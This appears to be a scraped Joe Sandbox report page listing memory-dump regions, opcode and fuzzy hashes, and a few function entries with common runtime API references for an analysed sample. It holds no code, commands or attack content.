Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931957ffe164eed00a5f4d7a5181b3831d6ea71410a84f411fda584dd083ccba
Instruction ID: 83927a7d9169f592774dfed24ab334d803fccb78611d871edf680b3c53b8fc5f
Opcode Fuzzy Hash: 931957ffe164eed00a5f4d7a5181b3831d6ea71410a84f411fda584dd083ccba
Instruction Fuzzy Hash: 8A118A33F30C255B675C816D8C1727AA5D6DBD825071F533AD826E72C4E9A4EE13D290

Function 00308860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 22013876ce7214f091f879afcb804797ad345f0ef830bf4215200a96dc9ccd8d
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: D9112B7720318247E606872DC8B45F7A795EBC53317AEC37AD0D18BBD8DA22E9459600

Function 002FA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: df77b6765ba8c846351c4d3a506d4fb57a9dc7b279b96884b24d5d3ccdb4e475
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 63E08CB292126CEBCB15DF98C9049AAF3ECEB49B90B6500AAFA05D3150C270DE00CBD1

Function 002FCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002FCC66

Strings

v/, xrefs: 002FCBE1

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v/
API String ID: 3213747228-914716597
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: dcb0c44d8f4af69d9178b7304aa575fb8ccb0a1137fe466cb51942571a3d4b5f
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 0BB1343292464E9FDB15CF28C991BBEFBE5EF45380F2441BADA45EB241D6348D11CB60

Function 002C2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 002C2F5F
__Mtx_unlock.LIBCPMT ref: 002C2FCC
__Cnd_broadcast.LIBCPMT ref: 002C2FE3
__Mtx_unlock.LIBCPMT ref: 002C30F5
__Mtx_unlock.LIBCPMT ref: 002C319B

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 676d36f0f6bb415b52032fcd3607e52a055017ac8d16fede758eae06910ce5a3
Instruction ID: 3b01e96c569bf3b9c555e38b30c9dcabb4f5e9cc3e8fe7ab9e38aebed6866c13
Opcode Fuzzy Hash: 676d36f0f6bb415b52032fcd3607e52a055017ac8d16fede758eae06910ce5a3
Instruction Fuzzy Hash: 09A1CF71A212469FDB21DF64C844B9AB7A8BF15310F14862EE819D7341EB71EE24CBD1

Function 002DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 002DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 002DBBE4
_xtime_get.LIBCPMT ref: 002DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 002DBC13

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
